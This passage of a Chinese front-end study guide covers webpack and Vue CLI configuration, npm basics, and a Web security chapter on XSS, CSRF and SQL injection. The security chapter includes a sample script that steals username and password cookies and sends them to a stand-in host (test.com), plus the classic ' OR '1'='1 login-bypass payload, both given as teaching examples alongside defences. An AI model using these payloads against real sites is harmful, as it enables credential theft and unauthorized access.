            minSize: 30000,  //表示在压缩前的最小模块大小,默认值是30kb

                minChunks: 1,  // 表示被引用次数,默认为1;

                    maxAsyncRequests: 5,  //所有异步请求不得超过5个

                        maxInitialRequests: 3,  //初始话并行请求不得超过3个

                            automaticNameDelimiter: \'\~\',//名称分隔符,默认是\~

                                name: true,  //打包后的名称,默认是chunk的名字通过分隔符(默认是~)分隔

                                    cacheGroups: { //设置缓存组用来抽取满足不同规则的chunk,下面以生成common为例

                common: {

                    name: \'common\',  //抽取的chunk的名字

                        chunks(chunk) { //同外层的参数配置,覆盖外层的chunks,以chunk为维度进行抽取

                    },

                    test(module, chunks) {  //可以为字符串,正则表达式,函数,以module为维度进行抽取,只要是满足条件的module都会被抽取到该common的chunk中,为函数时第一个参数是遍历到的每一个模块,第二个参数是每一个引用到该模块的chunks数组。自己尝试过程中发现不能提取出css,待进一步验证。

                    },

                    priority: 10,  //优先级,一个chunk很可能满足多个缓存组,会被抽取到优先级高的缓存组中

                        minChunks: 2,  //最少被几个chunk引用

                            reuseExistingChunk: true//  如果该chunk中引用了已经被抽取的chunk,直接引用该chunk,不会重复打包代码

                    enforce: true  // 如果cacheGroup中没有设置minSize,则据此判断是否使用上层的minSize,true:则使用0,false:使用上层minSize

                }

            }

        }
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43

公共模块抽离

举例:项目中分别有a.js, b.js, page1.js, page2.js这四个JS文件, page1.js 和

page2.js中同时都引用了a.js, b.js, 这时候想把a.js, b.js抽离出来合并成一个公共的js,然后在page1,page2中自动引入这个公共的js,怎么配置呢?

第三方模块抽离

页面中有时会引入第三方模块,比如import $ from 'jquery';

page1中需要引用,page2中也需要引用,这时候就可以用vendor把jquery抽离出来

如下:

        // 公共代码抽离

        configureWebpack: config => {

            //\....

            //优化项配置

            config.optimization = {

                splitChunks: { // 分割代码块

                    cacheGroups: {

                        vendor: {//第三方库抽离

                            chunks: \'all\',

                            test: /node_modules/,

                            name: \'vendor\',

                            minChunks: 1,//在分割之前,这个代码块最小应该被引用的次数

                            maxInitialRequests: 5,

                            minSize: 0,//大于0个字节

                            priority: 100//权重

                        },

                        common: {  //公用模块抽离

                            chunks: \'all\',

                            test: /\[\\\\/\]src\[\\\\/\]js\[\\\\/\]/,

                            name: \'common\',

                            minChunks: 2, 在分割之前,这个代码块最小应该被引用的次数

                maxInitialRequests: 5,

                            minSize: 0,//大于0个字节

                            priority: 60

                        },

                        styles: { //样式抽离

                            name: \'styles\',

                            test: /\\.(sa\|sc\|c)ss\$/,

                            chunks: \'all\',

                            enforce: true

                        },

                        runtimeChunk: {

                            name: \'manifest\'

                        }

                    }

                }

            }

        }
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75

# 11.2.10配置 打包分析

安装 cnpm i webpack-bundle-analyzer -D
1
        const BundleAnalyzerPlugin = require(\'webpack-bundle-analyzer\').BundleAnalyzerPlugin

        module.exports = {

            chainWebpack: config => {

                // 打包分析

                if (IS_PROD) {

                    config.plugin(\'webpack-report\').use(BundleAnalyzerPlugin, \[

                        {

                            analyzerMode: \'static\'

                        }

                    \])

                }

            }

        }
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25

# 11.2.11骨架屏

安装插件 npm install vue-skeleton-webpack-plugin

在src下新建Skeleton文件夹,其中新建index.js以及index.vue,在其中写入以下内容,其中,骨架屏的index.vue页面样式请自行编辑

index.js:

import Vue from \'vue\'

import home from \'./index.vue\'

import list from \'./list.vue\'

export default new Vue({

  components: {

    home,

    list

  },

  template: \`

  \<div>

   \<home id=\"home\" style=\"display:none\"/>

   \<list id=\"list\" style=\"display:none\"/>

  \</div>

 \`

})

index.vue(骨架屏页面) list.vue同理:

\<template>

  \<div class=\"skeleton-wrapper\"\>

    \<header class=\"skeleton-header\"\>\</header>

    \<section class=\"skeleton-block\"\>

      \<img src=\"data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiB2aWV3Qm94PSIwIDAgMTA4MCAyNjEiPjxkZWZzPjxwYXRoIGlkPSJiIiBkPSJNMCAwaDEwODB2MjYwSDB6Ii8+PGZpbHRlciBpZD0iYSIgd2lkdGg9IjIwMCUiIGhlaWdodD0iMjAwJSIgeD0iLTUwJSIgeT0iLTUwJSIgZmlsdGVyVW5pdHM9Im9iamVjdEJvdW5kaW5nQm94Ij48ZmVPZmZzZXQgZHk9Ii0xIiBpbj0iU291cmNlQWxwaGEiIHJlc3VsdD0ic2hhZG93T2Zmc2V0T3V0ZXIxIi8+PGZlQ29sb3JNYXRyaXggaW49InNoYWRvd09mZnNldE91dGVyMSIgdmFsdWVzPSIwIDAgMCAwIDAuOTMzMzMzMzMzIDAgMCAwIDAgMC45MzMzMzMzMzMgMCAwIDAgMCAwLjkzMzMzMzMzMyAwIDAgMCAxIDAiLz48L2ZpbHRlcj48L2RlZnM+PGcgZmlsbD0ibm9uZSIgZmlsbC1ydWxlPSJldmVub2RkIiB0cmFuc2Zvcm09InRyYW5zbGF0ZSgwIDEpIj48dXNlIGZpbGw9IiMwMDAiIGZpbHRlcj0idXJsKCNhKSIgeGxpbms6aHJlZj0iI2IiLz48dXNlIGZpbGw9IiNGRkYiIHhsaW5rOmhyZWY9IiNiIi8+PHBhdGggZmlsbD0iI0Y2RjZGNiIgZD0iTTIzMCA0NGg1MzN2NDZIMjMweiIvPjxyZWN0IHdpZHRoPSIxNzIiIGhlaWdodD0iMTcyIiB4PSIzMCIgeT0iNDQiIGZpbGw9IiNGNkY2RjYiIHJ4PSI0Ii8+PHBhdGggZmlsbD0iI0Y2RjZGNiIgZD0iTTIzMCAxMThoMzY5djMwSDIzMHpNMjMwIDE4MmgzMjN2MzBIMjMwek04MTIgMTE1aDIzOHYzOUg4MTJ6TTgwOCAxODRoMjQydjMwSDgwOHpNOTE3IDQ4aDEzM3YzN0g5MTd6Ii8+PC9nPjwvc3ZnPg==\"\>

      \<img src=\"data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiB2aWV3Qm94PSIwIDAgMTA4MCAyNjEiPjxkZWZzPjxwYXRoIGlkPSJiIiBkPSJNMCAwaDEwODB2MjYwSDB6Ii8+PGZpbHRlciBpZD0iYSIgd2lkdGg9IjIwMCUiIGhlaWdodD0iMjAwJSIgeD0iLTUwJSIgeT0iLTUwJSIgZmlsdGVyVW5pdHM9Im9iamVjdEJvdW5kaW5nQm94Ij48ZmVPZmZzZXQgZHk9Ii0xIiBpbj0iU291cmNlQWxwaGEiIHJlc3VsdD0ic2hhZG93T2Zmc2V0T3V0ZXIxIi8+PGZlQ29sb3JNYXRyaXggaW49InNoYWRvd09mZnNldE91dGVyMSIgdmFsdWVzPSIwIDAgMCAwIDAuOTMzMzMzMzMzIDAgMCAwIDAgMC45MzMzMzMzMzMgMCAwIDAgMCAwLjkzMzMzMzMzMyAwIDAgMCAxIDAiLz48L2ZpbHRlcj48L2RlZnM+PGcgZmlsbD0ibm9uZSIgZmlsbC1ydWxlPSJldmVub2RkIiB0cmFuc2Zvcm09InRyYW5zbGF0ZSgwIDEpIj48dXNlIGZpbGw9IiMwMDAiIGZpbHRlcj0idXJsKCNhKSIgeGxpbms6aHJlZj0iI2IiLz48dXNlIGZpbGw9IiNGRkYiIHhsaW5rOmhyZWY9IiNiIi8+PHBhdGggZmlsbD0iI0Y2RjZGNiIgZD0iTTIzMCA0NGg1MzN2NDZIMjMweiIvPjxyZWN0IHdpZHRoPSIxNzIiIGhlaWdodD0iMTcyIiB4PSIzMCIgeT0iNDQiIGZpbGw9IiNGNkY2RjYiIHJ4PSI0Ii8+PHBhdGggZmlsbD0iI0Y2RjZGNiIgZD0iTTIzMCAxMThoMzY5djMwSDIzMHpNMjMwIDE4MmgzMjN2MzBIMjMwek04MTIgMTE1aDIzOHYzOUg4MTJ6TTgwOCAxODRoMjQydjMwSDgwOHpNOTE3IDQ4aDEzM3YzN0g5MTd6Ii8+PC9nPjwvc3ZnPg==\"\>

    \</section>

  \</div>

\</template>

 

\<script>

  export default {

    name: \'skeleton\'

  }

\</script>

 

\<style scoped>

  .skeleton-header {

    height: 40px;

    background: #1976d2;

    padding:0;

    margin: 0;

    width: 100%;

  }

  .skeleton-block {

    display: flex;

    flex-direction: column;

    padding-top: 8px;

  }

 

\</style>

vue.config.js 配置:

        //骨架屏渲染

        const SkeletonWebpackPlugin = require(\'vue-skeleton-webpack-plugin\')

        //path引入

        const path = require(\'path\')

        //configureWebpack模块中写入内容

        // 骨架屏渲染

        config.plugins.push(new SkeletonWebpackPlugin({

            webpackConfig: {

                entry: {

                    app: path.join(\_\_dirname, \'./src/Skeleton/index.js\'),

                },

            },

            minimize: true,

            quiet: true,

            // 如果不设置那么所有的路由都会共享这个骨架屏组件

            router: {

                mode: \'hash\',

                // 给对应的路由设置对应的骨架屏组件,skeletonId的值根据组件设置的id

                routes: \[

                    { path: \'/home\', skeletonId: \'home\' },

                    { path: \'/list\', skeletonId: \'list\' },

                \]

            }))

### 11.2.12 vue.config.js完整配置

        const path = require(\'path\');

        const UglifyJsPlugin = require(\'uglifyjs-webpack-plugin\') // 去掉注释

        const CompressionWebpackPlugin = require(\'compression-webpack-plugin\'); // 开启压缩

        const { HashedModuleIdsPlugin } = require(\'webpack\');

        function resolve(dir) {

            return path.join(\_\_dirname, dir)

        }

        const isProduction = process.env.NODE_ENV === \'production\';

        // cdn预加载使用

        const externals = {

            \'vue\': \'Vue\',

            \'vue-router\': \'VueRouter\',

            \'vuex\': \'Vuex\',

            \'axios\': \'axios\',

            \"element-ui\": \"ELEMENT\"

        }

        const cdn = {

            // 开发环境

            dev: {

                css: \[

                    \'https://unpkg.com/element-ui/lib/theme-chalk/index.css\'

                \],

                js: \[\]

            },

            // 生产环境

            build: {

                css: \[

                    \'https://unpkg.com/element-ui/lib/theme-chalk/index.css\'

                \],

                js: \[

                    \'https://cdn.jsdelivr.net/npm/vue\@2.5.17/dist/vue.min.js\',

                    \'https://cdn.jsdelivr.net/npm/vue-router\@3.0.1/dist/vue-router.min.js\',

                    \'https://cdn.jsdelivr.net/npm/vuex\@3.0.1/dist/vuex.min.js\',

                    \'https://cdn.jsdelivr.net/npm/axios\@0.18.0/dist/axios.min.js\',

                    \'https://unpkg.com/element-ui/lib/index.js\'

                \]

            }

        }

        module.exports = {

            lintOnSave: false, // 关闭eslint

            productionSourceMap: false,

            publicPath: \'./\',

            outputDir: process.env.outputDir, // 生成文件的目录名称

            chainWebpack: config => {

                config.resolve.alias

                    .set(\'@\', resolve(\'src\'))

                // 压缩图片

                config.module

                    .rule(\'images\')

                    .test(/\\.(png\|jpe?g\|gif\|svg)(\\?.\*)?\$/)

                    .use(\'image-webpack-loader\')

                    .loader(\'image-webpack-loader\')

                    .options({ bypassOnDebug: true })

                // webpack 会默认给commonChunk打进chunk-vendors,所以需要对webpack的配置进行delete

                config.optimization.delete(\'splitChunks\')

                config.plugin(\'html\').tap(args => {

                    if (process.env.NODE_ENV === \'production\') {

                        args\[0\].cdn = cdn.build

                    }

                    if (process.env.NODE_ENV === \'development\') {

                        args\[0\].cdn = cdn.dev

                    }

                    return args

                })

                config

                    .plugin(\'webpack-bundle-analyzer\')

                    .use(require(\'webpack-bundle-analyzer\').BundleAnalyzerPlugin)

            },

            configureWebpack: config => {

                const plugins = \[\];

                if (isProduction) {

                    plugins.push(

                        new UglifyJsPlugin({

                            uglifyOptions: {

                                output: {

                                    comments: false, // 去掉注释

                                },

                                warnings: false,

                                compress: {

                                    drop_console: true,

                                    drop_debugger: false,

                                    pure_funcs: \[\'console.log\'\]//移除console

                                }

                            }

                        })

                    )

                    // 服务器也要相应开启gzip

                    plugins.push(

                        new CompressionWebpackPlugin({

                            algorithm: \'gzip\',

                            test: /\\.(js\|css)\$/,// 匹配文件名

                            threshold: 10000, // 对超过10k的数据压缩

                            deleteOriginalAssets: false, // 不删除源文件

                            minRatio: 0.8 // 压缩比

                        })

                    )

                    // 用于根据模块的相对路径生成 hash 作为模块 id, 一般用于生产环境

                    plugins.push(

                        new HashedModuleIdsPlugin()

                    )

                    // 开启分离js

                    config.optimization = {

                        runtimeChunk: \'single\',

                        splitChunks: {

                            chunks: \'all\',

                            maxInitialRequests: Infinity,

                            minSize: 1000 \* 60,

                            cacheGroups: {

                                vendor: {

                                    test: /\[\\\\/\]node_modules\[\\\\/\]/,

                                    name(module) {

                                        // 排除node_modules 然后吧 @ 替换为空 ,考虑到服务器的兼容

                                        const packageName = module.context.match(/\[\\\\/\]node_modules\[\\\\/\](.\*?)(\[\\\\/\]\|\$)/)\[1\]

                                        return \`npm.\${packageName.replace(\'@\', \'\')}\`

                                    }

                                }

                            }

                        }

                    };

                    // 取消webpack警告的性能提示

                    config.performance = {

                        hints: \'warning\',

                        //入口起点的最大体积

                        maxEntrypointSize: 1000 \* 500,

                        //生成文件的最大体积

                        maxAssetSize: 1000 \* 1000,

                        //只给出 js 文件的性能提示

                        assetFilter: function (assetFilename) {

                            return assetFilename.endsWith(\'.js\');

                        }

                    }

                    // 打包时npm包转CDN

                    config.externals = externals;

                }

                return { plugins }

            },

            pluginOptions: {

                // 配置全局less

                \'style-resources-loader\': {

                    preProcessor: \'less\',

                    patterns: \[resolve(\'./src/style/theme.less\')\]

                }

            },

            devServer: {

                open: false, // 自动启动浏览器

                host: \'0.0.0.0\', // localhost

                port: 6060, // 端口号

                https: false,

                hotOnly: false, // 热更新

                proxy: {

                    \'\^/sso\': {

                        target: process.env.VUE_APP_SSO, // 重写路径

                        ws: true,   //开启WebSocket

                        secure: false,      // 如果是https接口,需要配置这个参数

                        changeOrigin: true

                    }

                }

            }

        }
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461

# 构建管理

# 12.1 Webpack

Webpack可以看作模块打包机,它所做的事情就是,分析项目结构,找到JavaScript模块以及其它的一些浏览器不能直接运行的拓展语言(Scss,TypeScript等),并将其打包为合适的格式以供浏览器使用。

Webpack是基于Node环境的,想要使用Webpack对项目进行打包,就必须在Node环境下进行,还需要使用Node中的NPM包管理工具下载需要的插件(Plugins)和加载器(Loaders)。

1.模块化

这个毋庸置疑,WebPack本来就可以看做是模块打包机,将项目结构模块化。

2.代码拆分

Webpack有两种组织模块依赖的方式,同步和异步。异步依赖作为分割点,形成一个新的块。在优化了依赖树后,每一个异步区块都作为一个文件被打包。

3.Loader

Webpack本身只能处理原生的JavaScript模块,但是 loader转换器可以将各种类型的资源转换成 javascript模块,这样,任何资源都可以成为 Webpack可以处理的模块。比如说Webpack本身是处理不了css的,但是它有css-loader,将css转换成js可以处理的模块。

4.智能解析

Webpack有一个智能解析器,几乎可以处理任何第三方库,无论它们的模块形式是 CommonJS、 AMD还是普通的 js文件。甚至在加载依赖的时候,允许使用动态表达式 require("./templates/" + name + ".jade")

5.插件系统

插件(Plugins)是用来拓展Webpack功能的,它们会在整个构建过程中生效,执行相关的任务。

Loaders和Plugins常常被弄混,但是他们其实是完全不同的东西,可以这么来说,loaders是在打包构建过程中用来处理源文件的(JSX,Scss,Less..),一次处理一个,插件并不直接操作单个文件,它直接对整个构建过程其作用。

6.快速运行

Webpack使用异步 I/O和多级缓存提高运行效率,这使得 Webpack能够以令人难以置信的速度快速增量编译

7.主流框架脚手架支持(Vue,React,Angular)

目前市面上的主流框架Vue,React,Angular都基于Webpack开发了自己脚手架工具。

而本节我们要介绍的主要内容就是Vue的脚手架工具----Vue-cli。

总结来说,Webpack这个打包工具为我们写项目时提供了很多方便,我们可以用webpack里的各种插件Plugins和加载器Loaders实现代码压缩,转化scss为css代码,转化高级ES代码为ES5代码等功能,最重要的是,在我们用Vue开发项目的时候,Webpack能够帮我们解析单文件组件(后缀为.vue的文件)。

# 12.2 npm

# 12.2.1什么是npm

npm的全称是Node Package Manager(Node.js包管理和分发工具),npm 是 Node.js 官方提供的包管理工具,它是随Node一起安装的。可以很方便让 JavaScript 开发者下载、安装、上传以及管理已经安装的包。

npm 由三个独立的部分"网站注册表命令行工具"组成,网站是开发者查找包、设置参数以及管理 npm 使用体验的主要途径。注册表是一个巨大的数据库,保存了每个包(package)的信息。命令行工具是通过命令行或终端运行。开发者通过CLI和npm打交道。

npm的用处有很多比如说,可以从 npm 服务器下载别人编写的第三方包到本地使用。可以从npm服务器下载并安装别人编写的命令行程序到本地使用,也可以将用户自己编写的包或命令行程序上传到 npm 服务器供别人使用。

每个 JavaScript 项目都可以被当作 npm 软件包,并且通过 package.json 来描述项目和软件包信息。当运行 npm init 初始化 JavaScript/Node.js 项目时,将生成 package.json 文件,文件内的内容有以下:

Name:JavaScript 项目或库的名称。

Version:项目的版本。在应用程序开发中,因为没有对开源库进行版本控制的必要,所以会忽略这一块。但是可以用它来定义版本。

Description: 项目的描述。

License:项目的许可证。

package-lock.json文件 通常由npm install 命令生产的,可以由npm CLI工具读取,可以保证使用npm ci复制项目的构建环境。

# 12.2.2怎么使用npm

Npm install

这是在开发 JavaScript/Node.js 应用程序时最常用的命令,通常情况下,npm install 将安装带有 ^ 版本号的软件包的最新版本。npm 项目上下文中的 npm install 将根据package.json规范将软件包下载到项目的 node_modules 文件夹中,从而升级软件包的版本(并重新生成package-lock.json )。 npm install 可以基于 ^ 和 〜 版本匹配。

npm ci

如果npm install --production 对生产环境是最佳选项,那么对应本地环境和测试环境的就是 npm ci。

如果package-lock.json还不存在一个项目中,那么只要调用npm install 都会生产它,npm ci会消耗package-lock.json,来下载项目中所依赖的每个软件包对应的版本。这样,不管是本地开发的电脑还是Github这样的构建环境,都可以保证项目在不同机器上完全相同。

# 12.2.3 npm 全局安装与本地安装

全局安装:

npm install -g  通过这个命令行(带-g修饰符)安装某个包,就叫全局安装。通常全局包安装在node目录下的node_modules文件夹。可以通过执行下面几条命令查看node、npm的安装目录和全局包的安装目录。

  1. which node // 查看node的安装目录
    2.which npm // 查看npm的安装目录
    3.npm root -g // 查看全局包的安装目录
    4.npm list -g --depth 0 //查看全局安装过的包

    本地安装:

    npm install 通过这个命令行安装某个包,就叫本地安装。包安装在你当前项目文件夹下的node_modules文件夹中。

全局安装的作用:

全局安装的包可提供直接执行的命令(例:gulp -h可以查看gulp定义了什么命令)。 比如gulp全局安装后,可以在命令行上直接执行gulp -v、gulp -h等 (原理:全局安装的gulp

会将其package.json中的bin命令注入到了全局环境,使得你可以全局执行:gulp xxx命令,这另一个话题了,不深入) 。倘若只在本地安装了gulp,未在全局安装gulp,直接执行这些命令会报错。你想要执行相应的命令则可能需要例如:node ./node_modules/gulp/bin/gulp.js -v(查看版本) 这样用一大串命令来执行。因此全局安装就发挥到他的好处了呀,一个gulp -v就搞定

当然,不是每个包都必须要全局安装的,一般在项目中需要用到该包定义的命令才需要全局安装。比如gulp 执行gulp任务...等,所以是否需要全局安装取决于我们如何使用这个包。全局安装的就像全局变量有点粗糙,但在某些情况下也是必要的,全局包很重要,但如果不需要,最好避免使用。

本地安装的作用:

如果只是全局安装了而没本地安装,就得require('') 例:引入一个全局的包可能就是requirt('/usr/local/...')通过全局包的路径引入,这样显然十分的不灵活。如果安装了本地包,那么 就可以直接require('')引入使用。

一个包通常会在不同的项目上会重复用到,如果只全局安装,那么当某个项目需要该包更新版本时,更新后可能就会影响到其他同样引用该包的项目,因此本地安装可以更灵活地在不同的项目使用不同版本的包,并避免全局包污染的问题。

一个经验法则:要用到该包的命令执行任务的就需要全局安装,要通过require引入使用的就需要本地安装( 但实际开发过程中,我们也不怎么需要考虑某个包是全局安装还是本地安装,因为这一点在该包的官网上一般会明确指出,以上是为了理解全局安装和本地安装)。

npm 官方文档https://docs.npmjs.com/cli/v6/commands/npm-install/

npm 模块管理器:http://javascript.ruanyifeng.com/nodejs/npm.html

npm 常用命令详解:https://blog.csdn.net/sxs1995/article/details/80729069

# 12.3 Yarn

# 12.4 Vite

# 12.5 Gulp

# 第13章 类库工具

# 第14章 web安全

# 14.1 XSS攻击原理

Xss(cross-site scripting)攻击指的是攻击者往Web页面里插入恶意 html标签或者javascript代码。

比如:

①攻击者在论坛中放一个看似安全的链接,骗取用户点击后,窃取cookie中的用户私密信息;

②或者攻击者在论坛中加一个恶意表单,当用户提交表单的时候,却把信息传送到攻击者的服务器中,而不是用户原本以为的信任站点。

如下允许用户发表留言

1640070684(1){width="5.083333333333333in" height="4.783333333333333in"}

因为我们完全信任了用户输入,但有些别有用心的用户会像这样的输入

1640070733(1){width="5.759722222222222in" height="3.0708333333333333in"}

这样无论是谁访问这个页面的时候控制台都会输出"Hey you are a fool fish!",如果这只是个恶意的小玩笑,有些人做的事情就不可爱了,有些用户会利用这个漏洞窃取用户信息、诱骗人打开恶意网站或者下载恶意程序等,看个最简单的例子

利用xss窃取用户名密码

当然这个示例很简单,几乎攻击不到任何网站,仅仅看看其原理。我们知道很多登陆界面都有记住用户名、密码的功能方便用户下次登录,有些网站是直接用明文记录用户名、密码,恶意用户注册账户登录后使用简单工具查看cookie结构名称后,如果网站有xss漏洞,那么简单的利用jsonp就可以获取其它用户的用户名、密码了。

恶意用户会这么输入

1640070854(1){width="5.7659722222222225in" height="3.3055555555555554in"}

我们看看http://test.com/hack.js里藏了什么

        \<pre style=\"margin: 0px; white-space: pre-wrap; overflow-wrap: break-word; padding: 0px; list-style-type: none; list-style-image: none; font-family: &quot;Courier New&quot; !important; font-size: 12px !important;\"\>

            var username=CookieHelper.getCookie(\'username\').value;

            var password=CookieHelper.getCookie(\'password\').value;

            var script =document.createElement(\'script\');

            script.src=\'http://test.com/index.php?username=\'+username+\'&password=\'+password;

            document.body.appendChild(script);

        \</pre>
1
2
3
4
5
6
7
8
9
10
11
12
13

几句简单的javascript,获取cookie中的用户名密码,利用jsonp把向http://test.com/index.php

危害:

1、盗取用户信息,如机器登录帐号、用户网银帐号、各类管理员帐号

2、控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力

3、盗窃企业重要的具有商业价值的资料

4、非法转账

5、强制发送电子邮件

7、控制受害者机器向其它网站发起攻击

# 14.2 XSS攻击防范方法

首先代码里对用户输入的地方和变量都需要仔细检查长度和对"<",">",";","'"等字符做过滤;

其次任何内容写到页面之前都必须加以encode,避免不小心把html tag 弄出来。这一个层面做好,至少可以堵住超过一半的XSS 攻击。

首先,避免直接在cookie 中泄露用户隐私,例如email、密码等等。

其次,通过使cookie 和系统ip 绑定来降低cookie 泄露后的危险。这样攻击者得到的cookie 没有实际价值,不可能拿来重放。

尽量采用POST 而非GET 提交表单

# 14.3 XSS攻击与CSRF攻击(跨站请求伪造)区别

XSS是获取信息,不需要提前知道其他用户页面的代码和数据包。CSRF是代替用户完成指定的动作,需要知道其他用户页面的代码和数据包。

要完成一次CSRF攻击,受害者必须依次完成两个步骤:

登录受信任网站A,并在本地生成Cookie。

在不登出A的情况下,访问危险网站B。

# 14.4 CSRF攻击

原理:

CSRF(Cross Site Request Forgery),即跨站请求伪造,是一种常见的Web攻击。CSRF攻击过程的受害者用户登录网站A,输入个人信息,在本地保存服务器生成的cookie。然后在A网站点击由攻击者构建一条恶意链接跳转到B网站,然后B网站携带着的用户cookie信息去访问B网站。让A网站造成是用户自己访问的假相,从而来进行一些列的操作,常见的就是转账。

例子:

1、一个网站用户Bob可能正在浏览聊天论坛,而同时另一个用户Alice也在此论坛中,并且后者刚刚发布了一个具有Bob银行链接的图片消息。设想一下,Alice编写了一个在Bob的银行站点上进行取款的form提交的链接,并将此链接作为图片src。如果Bob的银行在cookie中保存他的授权信息,并且此cookie没有过期,那么当Bob的浏览器尝试装载图片时将提交这个取款form和他的cookie,这样在没经Bob同意的情况下便授权了这次事务。

危害:

通过基于受信任的输入form和对特定行为无需授权的已认证的用户来执行某些行为的web应用。已经通过被保存在用户浏览器中的cookie进行认证的用户将在完全无知的情况下发送HTTP请求到那个信任他的站点,进而进行用户不愿做的行为。

防范:

1、验证码。

应用程序和用户进行交互过程中,特别是账户交易这种核心步骤,强制用户输入验证码,才能完成最终请求。在通常情况下,验证码够很好地遏制

CSRF攻击。但增加验证码降低了用户的体验,网站不能给所有的操作都加上验证码。所以只能将验证码作为一种辅助手段,在关键业务点设置验证码。

2、Anti CSRF Token。

目前比较完善的解决方案是加入Anti-CSRF-Token,即发送请求时在HTTP 请

求中以参数的形式加入一个随机产生的token,并在服务器建立一个拦截器来验证这个token。服务器读取浏览器当前域cookie中这个token值,会进行校验该请求当中的token

和cookie当中的token值是否都存在且相等,才认为这是合法的请求。

# 14.5 CSRF的防御

服务端的CSRF方式方法很多样,但总的思想都是一致的,就是在客户端页面增加伪随机数。

通过验证码的方法

# 14.6 SQL注入攻击

原理:

SQL注入(SQL Injection),应用程序在向后台数据库传递SQL(Structured Query Language,结构化查询语言)时,攻击者将SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。

例子:

某个网站的登录验证的SQL查询代码为:

strSQL = \"SELECT \* FROM users WHERE (name = \'\" + userName +\"\') and (pw = \'\"+ passWord +\"\');\"
1

恶意填入

userName = \"1\' OR \'1\'=\'1\";
1

passWord = \"1\' OR \'1\'=\'1\";
1

时,将导致原本的SQL字符串被填为

strSQL = \"SELECT \* FROM users WHERE (name = \'1\' OR \'1\'=\'1\') and (pw = \'1\' OR \'1\'=\'1\');\"
1

也就是实际上运行的SQL命令会变成下面这样的

strSQL = \`\`\"SELECT \* FROM users;\"
1

因此达到无账号密码,亦可登录网站。所以SQL注入攻击被俗称为黑客的填空游戏。

危害:

得到管理员权限

防范:

1、增加黑名单或者白名单验证

白名单验证一般指,检查用户输入是否是符合预期的类型、长度、数值范围或者其他格式标准。黑名单验证是指,若在用户输入中,包含明显的恶意内容则拒绝该条用户请求。在使用白名单验证时,一般会配合黑名单验证。

2、安全检测

在项目完成的时候,始终坚持安全检测。

3、防止系统敏感信息泄露

对数据表的访问权限进行严格控制,尽量限制用户不必要的访问权限

总结:

sql注入原理

就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。

sql注入防范

1.永远不要信任用户的输入,要对用户的输入进行校验,可以通过正则表达式,或限制长度,对单引号和双"-"进行转换等。

2.永远不要使用动态拼装SQL,可以使用参数化的SQL或者直接使用存储过程进行数据查询存取。

3.永远不要使用管理员权限的数据库连接,为每个应用使用单独的权限有限的数据库连接。

4.不要把机密信息明文存放,请加密或者hash掉密码和敏感的信息。

XSS

Xss(cross-site scripting)攻击指的是攻击者往Web页面里插入恶意 html标签或者javascript代码。

xss防范

首先代码里对用户输入的地方和变量都需要仔细检查长度和对"<",">",";","'"等字符做过滤;

其次任何内容写到页面之前都必须加以encode,避免不小心把html tag 弄出来。这一个层面做好,至少可以堵住超过一半的XSS 攻击。

首先,避免直接在cookie 中泄露用户隐私,例如email、密码等等。

其次,通过使cookie 和系统ip 绑定来降低cookie 泄露后的危险。这样攻击者得到的cookie 没有实际价值,不可能拿来重放。

尽量采用POST 而非GET 提交表单

CSRF

CSRF(Cross Site RequestForgery),即跨站请求伪造,是一种常见的Web攻击。CSRF攻击过程的受害者用户登录网站A,输入个人信息,在本地保存服务器生成的cookie。然后在A网站点击由攻击者构建一条恶意链接跳转到B网站,然后B网站携带着的用户cookie信息去访问B网站。

CSRF的防御

服务端的CSRF方式方法很多样,但总的思想都是一致的,就是在客户端页面增加伪随机数。

通过验证码的方法

# 14.7 DoS 攻击

